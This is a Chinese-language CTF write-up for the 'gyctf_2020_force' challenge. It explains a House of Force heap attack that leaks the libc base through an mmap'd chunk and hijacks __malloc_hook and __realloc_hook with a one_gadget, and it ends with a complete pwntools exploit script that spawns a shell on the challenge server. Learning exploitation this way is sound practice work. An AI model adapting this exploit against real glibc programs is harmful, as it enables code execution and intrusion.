BUU-gyctf_2020_force-WP
报以复习的形态做了一下这道HOF裸题,结果还是学到了新知识,蛮好蛮好
HOF不想多说了,毕竟是挺简单的一种利用,此题中有谈及。
leak
每一个chunk的地址都是直接告诉我们的,但是程序可以说没有输出功能,通过以往的办法leak libc base不甚容易,但是我们可以利用mmap的chunk的特性来获取libc base,申请一个较大的chunk,此时由于top chunk等处都无法分配,就会通过mmap映射内存来分配,而内存的地址和libc的基地址的偏移是固定的,所以我们就可以调试获取偏移并算出libc base

可见申请一个大小为0x200000chunk是,便会mmap一个从0x7ffff784b000开始大小为0x201000的内存段,且紧挨着libc,这样就可以算出libc base了(开始的时候我尝试使用1000000做为大小,发现似乎不行,可能还是不够大)
one_gadget
one_gadget是挺方便的,但是有些时候由于栈帧的一些原因无法使用,在这里我们可以考虑通过realloc
来调整

可见realloc
开始的时候会调用许多的push,然后rsp-0x38
,一般来讲one_gadget失效有许多原因,这边乱调调就可能可以调出来。同时注意rsp
减完之后realloc
会调用__realloc_hook
。
所以我们的做法就是劫持__malloc_hook
为realloc+0x10
,并劫持__realloc_hook
为one_gadget,就可以get shell了。
运气比较好的是

两个钩子是在一起的,所以我们在算offset的时候应该是减0x30,其中0x10处理对齐的运算,0x20是的返回的指针指向&__malloc_hook - 0x10
,然后我们就可以对两个钩子一起修改了。
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
#sh = process("./gyctf_2020_force")
sh = remote("node3.buuoj.cn",29789)
libc = ELF("./libcs/buu-64-libc.so")
sh.sendlineafter("2:puts\n","1")
sh.sendlineafter("size\n",str(0x200000))
sh.recvuntil("addr ")
mmaped_addr = int(sh.recvuntil("\n",drop = True),base = 16)
log.success("mmaped_addr:" + hex(mmaped_addr))
libc_base = mmaped_addr + 0x200ff0
log.success("libc_base:" + hex(libc_base))
sh.sendlineafter("content\n","index:0")
sh.sendlineafter("2:puts\n","1")
sh.sendlineafter("size\n","16")
sh.recvuntil("addr ")
top_last_addr = int(sh.recvuntil("\n",drop = True),base = 16) - 0x10
top_addr = top_last_addr + 0x10 + 0x10
log.success("top_addr:" + hex(top_addr))
sh.sendafter("content\n",'a' * 16 + p64(0) + p64(0xffffffffffffffff))
offset = libc_base + libc.symbols["__malloc_hook"] - top_addr - 0x10 - 0x20
log.success((offset))
one_gadget = libc_base + 0x4526a
realloc_addr = libc_base + libc.symbols["__libc_realloc"]
sh.sendlineafter("2:puts\n","1")
sh.sendlineafter("size\n",str(offset))
sh.sendlineafter("content\n","")
sh.sendlineafter("2:puts\n","1")
sh.sendlineafter("size\n","16")
sh.sendlineafter("content\n",'a' * 8 + p64(one_gadget) + p64(realloc_addr + 0x10))
sh.sendlineafter("2:puts\n","1")
sh.sendlineafter("size\n","16")
sh.interactive()